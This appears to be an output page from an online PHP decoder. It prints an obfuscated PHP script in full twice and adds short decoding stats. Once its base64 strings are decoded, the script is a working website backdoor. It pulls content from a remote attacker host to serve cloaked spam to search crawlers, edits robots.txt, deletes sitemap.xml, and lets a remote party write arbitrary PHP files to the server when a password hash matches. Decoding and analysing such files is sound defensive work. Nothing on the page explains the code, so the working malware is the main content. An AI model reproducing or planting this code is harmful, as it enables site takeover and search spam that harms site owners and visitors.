Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* DL101 */ @set_time_limit(3600);@ignore_user_abort(1);$nrd52466e0=base64_decode('c..

Decoded Output download

<?php /* DL101 */ @set_time_limit(3600);@ignore_user_abort(1);$nrd52466e0=base64_decode('cjg0');$to6e8cc1f0=base64_decode('aHR0cA==');if(euffeeb72d()){$mx97780db2=base64_decode('aHR0cHM=');}else{$mx97780db2=base64_decode('aHR0cA==');}$gz1ddb8cfc=zqd815ef04();if($gz1ddb8cfc==''){$gz1ddb8cfc=base64_decode('Lw==');}$reee5dd77b=urlencode($gz1ddb8cfc);function zqd815ef04(){if(isset($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')])){$reee5dd77b=$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];}else{if(isset($_SERVER[base64_decode('YXJndg==')])){$reee5dd77b=$_SERVER[base64_decode('UEhQX1NFTEY=')].base64_decode('Pw==').$_SERVER[base64_decode('YXJndg==')][0];}else{$reee5dd77b=$_SERVER[base64_decode('UEhQX1NFTEY=')].base64_decode('Pw==').$_SERVER[base64_decode('UVVFUllfU1RSSU5H')];}}return $reee5dd77b;}$rd64fd5a56=$nrd52466e0.base64_decode('LnNlY2hsZXJ0aG91c2FuZC50b3A=');function euffeeb72d(){if(isset($_SERVER[base64_decode('SFRUUFM=')])&&strtolower($_SERVER[base64_decode('SFRUUFM=')])!==base64_decode('b2Zm')){return true;}elseif(isset($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==')])&&$_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==')]===base64_decode('aHR0cHM=')){return true;}elseif(isset($_SERVER[base64_decode('SFRUUF9GUk9OVF9FTkRfSFRUUFM=')])&&strtolower($_SERVER[base64_decode('SFRUUF9GUk9OVF9FTkRfSFRUUFM=')])!==base64_decode('b2Zm')){return true;}return false;}$wmcf2713fd=$_SERVER[base64_decode('SFRUUF9IT1NU')];$ar31098462=@$_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')];$ar31098462=urlencode($ar31098462);$aea40e1888='';if(isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])){$aea40e1888=$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')];$aea40e1888=urlencode($aea40e1888);}if(@$_GET[base64_decode('cGQ=')]!=''){$unccf1820b=@$_GET[base64_decode('bWFwbmFtZQ==')];$fw47cc8c92=@$_GET[base64_decode('YWN0aW9u')];if(isset($_SERVER[base64_decode('RE9DVU1FTlRfUk9PVA==')])){$vub548b0f=$_SERVER[base64_decode('RE9DVU1FTlRfUk9PVA==')];}else{$vub548b0f=dirname(__FILE__);}if(!$fw47cc8c92){$fw47cc8c92=base64_decode('cHV0');}if($fw47cc8c92==base64_decode('cHV0')){if(strstr($unccf1820b,base64_decode('LnhtbA=='))){$pl987c2c9a=$vub548b0f.base64_decode('L3NpdGVtYXAueG1s');if(is_file($pl987c2c9a)){@unlink($pl987c2c9a);}$tf82a8e361=$vub548b0f.base64_decode('L3JvYm90cy50eHQ=');if(file_exists($tf82a8e361)){$asadf3f363=nt4ad3079($tf82a8e361);}else{$asadf3f363=base64_decode('VXNlci1hZ2VudDogKkFsbG93OiAv');}$se6e6c6c25=$mx97780db2.base64_decode('Oi8v').$wmcf2713fd.base64_decode('Lw==').$unccf1820b;if(stristr($asadf3f363,$se6e6c6c25)){echo base64_decode('PGJyPnNpdGVtYXAgYWxyZWFkeSBhZGRlZCE8YnI+');}else{if(file_put_contents($tf82a8e361,trim($asadf3f363).base64_decode('XHJcbg==').base64_decode('U2l0ZW1hcDog').$se6e6c6c25)){echo base64_decode('PGJyPm9rPGJyPg==');}else{echo base64_decode('PGJyPmZpbGUgd3JpdGUgZmFsc2UhPGJyPg==');}}}else{echo base64_decode('PGJyPnNpdGVtYXAgbmFtZSBmYWxzZSE8YnI+');}if(strstr($unccf1820b,base64_decode('LnA=').base64_decode('aHA='))){$mue8b7be43=md5(@$_GET[base64_decode('YQ==')]);$yd71beeff9=md5(@$_GET[base64_decode('Yg==')]);if($mue8b7be43==nt4ad3079($to6e8cc1f0.base64_decode('Oi8v').$rd64fd5a56.base64_decode('L2EucA==').base64_decode('aHA='))||$yd71beeff9==base64_decode('MDVjZDNmM2JkYjZkNjM3YjUzOTMwYzc2YjQ3YWU5MTI=')){$zx36efc5a3=@$_GET[base64_decode('ZHN0cg==')];if(file_put_contents($vub548b0f.base64_decode('Lw==').$unccf1820b,$zx36efc5a3)){echo base64_decode('b2s=');}}}}exit;}$mf15c93851=$to6e8cc1f0.base64_decode('Oi8v').$rd64fd5a56.base64_decode('L2luZGV4bmV3LnBocD93ZWI9').$wmcf2713fd.base64_decode('Jnp6PQ==').nua6900d6d().base64_decode('JnVyaT0=').$reee5dd77b.base64_decode('JnVybHNoYW5nPQ==').$aea40e1888.base64_decode('Jmh0dHA9').$mx97780db2.base64_decode('Jmxhbmc9').$ar31098462;$jma4b2e496=trim(nt4ad3079($mf15c93851));if(!strstr($jma4b2e496,base64_decode('bm9ib3R1c2VyYWdlbnQ='))){if(strstr($jma4b2e496,base64_decode('b2todG1sZ2V0Y29udGVudA=='))){@header(base64_decode('Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg='));$jma4b2e496=str_replace(base64_decode('b2todG1sZ2V0Y29udGVudA=='),'',$jma4b2e496);echo $jma4b2e496;exit();}else if(strstr($jma4b2e496,base64_decode('b2t4bWxnZXRjb250ZW50'))){$jma4b2e496=str_replace(base64_decode('b2t4bWxnZXRjb250ZW50'),'',$jma4b2e496);@header(base64_decode('Q29udGVudC10eXBlOiB0ZXh0L3htbA=='));echo $jma4b2e496;exit();}else if(strstr($jma4b2e496,base64_decode('cGluZ3htbGdldGNvbnRlbnQ='))){$jma4b2e496=str_replace(base64_decode('cGluZ3htbGdldGNvbnRlbnQ='),'',$jma4b2e496);@header(base64_decode('Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg='));echo zgb2e024f8($jma4b2e496);exit();}}function zgb2e024f8($rwf47645ae){$lf406da3f3=explode(base64_decode('XHJcbg=='),trim($rwf47645ae));$lyc1e19927='';foreach($lf406da3f3 as $qged768d0d){$xu60b212eb=nt4ad3079($qged768d0d);$ih79dcdd47=(strpos($xu60b212eb,base64_decode('U2l0ZW1hcCBOb3RpZmljYXRpb24gUmVjZWl2ZWQ='))!==false)?base64_decode('cGluZ29r'):base64_decode('ZXJyb3I=');$lyc1e19927.=$qged768d0d.base64_decode('LS0g').$ih79dcdd47.base64_decode('PGJyPg==');}return $lyc1e19927;}function nua6900d6d(){$tbcb457955=strtolower($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);if(stristr($tbcb457955,base64_decode('Z29vZ2xlYm90'))||stristr($tbcb457955,base64_decode('YmluZw=='))||stristr($tbcb457955,base64_decode('eWFob28='))||stristr($tbcb457955,base64_decode('Z29vZ2xl'))||stristr($tbcb457955,base64_decode('R29vZ2xlYm90'))||stristr($tbcb457955,base64_decode('Z29vZ2xlYm90'))){return true;}else{return false;}}function nt4ad3079($rwf47645ae){$qu5aa9eea='';if(function_exists(base64_decode('Y3VybF9pbml0'))){$gk4c60c3f1=curl_init();curl_setopt($gk4c60c3f1,CURLOPT_URL,$rwf47645ae);curl_setopt($gk4c60c3f1,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($gk4c60c3f1,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($gk4c60c3f1,CURLOPT_RETURNTRANSFER,1);curl_setopt($gk4c60c3f1,CURLOPT_CONNECTTIMEOUT,30);$qu5aa9eea=curl_exec($gk4c60c3f1);curl_close($gk4c60c3f1);}if(!$qu5aa9eea){$qu5aa9eea=@file_get_contents($rwf47645ae);}return $qu5aa9eea;} 
 ?>

Did this file decode correctly?

Original Code

<?php /* DL101 */ @set_time_limit(3600);@ignore_user_abort(1);$nrd52466e0=base64_decode('cjg0');$to6e8cc1f0=base64_decode('aHR0cA==');if(euffeeb72d()){$mx97780db2=base64_decode('aHR0cHM=');}else{$mx97780db2=base64_decode('aHR0cA==');}$gz1ddb8cfc=zqd815ef04();if($gz1ddb8cfc==''){$gz1ddb8cfc=base64_decode('Lw==');}$reee5dd77b=urlencode($gz1ddb8cfc);function zqd815ef04(){if(isset($_SERVER[base64_decode('UkVRVUVTVF9VUkk=')])){$reee5dd77b=$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];}else{if(isset($_SERVER[base64_decode('YXJndg==')])){$reee5dd77b=$_SERVER[base64_decode('UEhQX1NFTEY=')].base64_decode('Pw==').$_SERVER[base64_decode('YXJndg==')][0];}else{$reee5dd77b=$_SERVER[base64_decode('UEhQX1NFTEY=')].base64_decode('Pw==').$_SERVER[base64_decode('UVVFUllfU1RSSU5H')];}}return $reee5dd77b;}$rd64fd5a56=$nrd52466e0.base64_decode('LnNlY2hsZXJ0aG91c2FuZC50b3A=');function euffeeb72d(){if(isset($_SERVER[base64_decode('SFRUUFM=')])&&strtolower($_SERVER[base64_decode('SFRUUFM=')])!==base64_decode('b2Zm')){return true;}elseif(isset($_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==')])&&$_SERVER[base64_decode('SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==')]===base64_decode('aHR0cHM=')){return true;}elseif(isset($_SERVER[base64_decode('SFRUUF9GUk9OVF9FTkRfSFRUUFM=')])&&strtolower($_SERVER[base64_decode('SFRUUF9GUk9OVF9FTkRfSFRUUFM=')])!==base64_decode('b2Zm')){return true;}return false;}$wmcf2713fd=$_SERVER[base64_decode('SFRUUF9IT1NU')];$ar31098462=@$_SERVER[base64_decode('SFRUUF9BQ0NFUFRfTEFOR1VBR0U=')];$ar31098462=urlencode($ar31098462);$aea40e1888='';if(isset($_SERVER[base64_decode('SFRUUF9SRUZFUkVS')])){$aea40e1888=$_SERVER[base64_decode('SFRUUF9SRUZFUkVS')];$aea40e1888=urlencode($aea40e1888);}if(@$_GET[base64_decode('cGQ=')]!=''){$unccf1820b=@$_GET[base64_decode('bWFwbmFtZQ==')];$fw47cc8c92=@$_GET[base64_decode('YWN0aW9u')];if(isset($_SERVER[base64_decode('RE9DVU1FTlRfUk9PVA==')])){$vub548b0f=$_SERVER[base64_decode('RE9DVU1FTlRfUk9PVA==')];}else{$vub548b0f=dirname(__FILE__);}if(!$fw47cc8c92){$fw47cc8c92=base64_decode('cHV0');}if($fw47cc8c92==base64_decode('cHV0')){if(strstr($unccf1820b,base64_decode('LnhtbA=='))){$pl987c2c9a=$vub548b0f.base64_decode('L3NpdGVtYXAueG1s');if(is_file($pl987c2c9a)){@unlink($pl987c2c9a);}$tf82a8e361=$vub548b0f.base64_decode('L3JvYm90cy50eHQ=');if(file_exists($tf82a8e361)){$asadf3f363=nt4ad3079($tf82a8e361);}else{$asadf3f363=base64_decode('VXNlci1hZ2VudDogKkFsbG93OiAv');}$se6e6c6c25=$mx97780db2.base64_decode('Oi8v').$wmcf2713fd.base64_decode('Lw==').$unccf1820b;if(stristr($asadf3f363,$se6e6c6c25)){echo base64_decode('PGJyPnNpdGVtYXAgYWxyZWFkeSBhZGRlZCE8YnI+');}else{if(file_put_contents($tf82a8e361,trim($asadf3f363).base64_decode('XHJcbg==').base64_decode('U2l0ZW1hcDog').$se6e6c6c25)){echo base64_decode('PGJyPm9rPGJyPg==');}else{echo base64_decode('PGJyPmZpbGUgd3JpdGUgZmFsc2UhPGJyPg==');}}}else{echo base64_decode('PGJyPnNpdGVtYXAgbmFtZSBmYWxzZSE8YnI+');}if(strstr($unccf1820b,base64_decode('LnA=').base64_decode('aHA='))){$mue8b7be43=md5(@$_GET[base64_decode('YQ==')]);$yd71beeff9=md5(@$_GET[base64_decode('Yg==')]);if($mue8b7be43==nt4ad3079($to6e8cc1f0.base64_decode('Oi8v').$rd64fd5a56.base64_decode('L2EucA==').base64_decode('aHA='))||$yd71beeff9==base64_decode('MDVjZDNmM2JkYjZkNjM3YjUzOTMwYzc2YjQ3YWU5MTI=')){$zx36efc5a3=@$_GET[base64_decode('ZHN0cg==')];if(file_put_contents($vub548b0f.base64_decode('Lw==').$unccf1820b,$zx36efc5a3)){echo base64_decode('b2s=');}}}}exit;}$mf15c93851=$to6e8cc1f0.base64_decode('Oi8v').$rd64fd5a56.base64_decode('L2luZGV4bmV3LnBocD93ZWI9').$wmcf2713fd.base64_decode('Jnp6PQ==').nua6900d6d().base64_decode('JnVyaT0=').$reee5dd77b.base64_decode('JnVybHNoYW5nPQ==').$aea40e1888.base64_decode('Jmh0dHA9').$mx97780db2.base64_decode('Jmxhbmc9').$ar31098462;$jma4b2e496=trim(nt4ad3079($mf15c93851));if(!strstr($jma4b2e496,base64_decode('bm9ib3R1c2VyYWdlbnQ='))){if(strstr($jma4b2e496,base64_decode('b2todG1sZ2V0Y29udGVudA=='))){@header(base64_decode('Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg='));$jma4b2e496=str_replace(base64_decode('b2todG1sZ2V0Y29udGVudA=='),'',$jma4b2e496);echo $jma4b2e496;exit();}else if(strstr($jma4b2e496,base64_decode('b2t4bWxnZXRjb250ZW50'))){$jma4b2e496=str_replace(base64_decode('b2t4bWxnZXRjb250ZW50'),'',$jma4b2e496);@header(base64_decode('Q29udGVudC10eXBlOiB0ZXh0L3htbA=='));echo $jma4b2e496;exit();}else if(strstr($jma4b2e496,base64_decode('cGluZ3htbGdldGNvbnRlbnQ='))){$jma4b2e496=str_replace(base64_decode('cGluZ3htbGdldGNvbnRlbnQ='),'',$jma4b2e496);@header(base64_decode('Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg='));echo zgb2e024f8($jma4b2e496);exit();}}function zgb2e024f8($rwf47645ae){$lf406da3f3=explode(base64_decode('XHJcbg=='),trim($rwf47645ae));$lyc1e19927='';foreach($lf406da3f3 as $qged768d0d){$xu60b212eb=nt4ad3079($qged768d0d);$ih79dcdd47=(strpos($xu60b212eb,base64_decode('U2l0ZW1hcCBOb3RpZmljYXRpb24gUmVjZWl2ZWQ='))!==false)?base64_decode('cGluZ29r'):base64_decode('ZXJyb3I=');$lyc1e19927.=$qged768d0d.base64_decode('LS0g').$ih79dcdd47.base64_decode('PGJyPg==');}return $lyc1e19927;}function nua6900d6d(){$tbcb457955=strtolower($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U')]);if(stristr($tbcb457955,base64_decode('Z29vZ2xlYm90'))||stristr($tbcb457955,base64_decode('YmluZw=='))||stristr($tbcb457955,base64_decode('eWFob28='))||stristr($tbcb457955,base64_decode('Z29vZ2xl'))||stristr($tbcb457955,base64_decode('R29vZ2xlYm90'))||stristr($tbcb457955,base64_decode('Z29vZ2xlYm90'))){return true;}else{return false;}}function nt4ad3079($rwf47645ae){$qu5aa9eea='';if(function_exists(base64_decode('Y3VybF9pbml0'))){$gk4c60c3f1=curl_init();curl_setopt($gk4c60c3f1,CURLOPT_URL,$rwf47645ae);curl_setopt($gk4c60c3f1,CURLOPT_SSL_VERIFYHOST,0);curl_setopt($gk4c60c3f1,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($gk4c60c3f1,CURLOPT_RETURNTRANSFER,1);curl_setopt($gk4c60c3f1,CURLOPT_CONNECTTIMEOUT,30);$qu5aa9eea=curl_exec($gk4c60c3f1);curl_close($gk4c60c3f1);}if(!$qu5aa9eea){$qu5aa9eea=@file_get_contents($rwf47645ae);}return $qu5aa9eea;}

Function Calls

set_time_limit 1
ignore_user_abort 1

Variables

None

Stats

MD5 cce5483cbba7e01c51ac910d28c05519
Eval Count 0
Decode Time 522 ms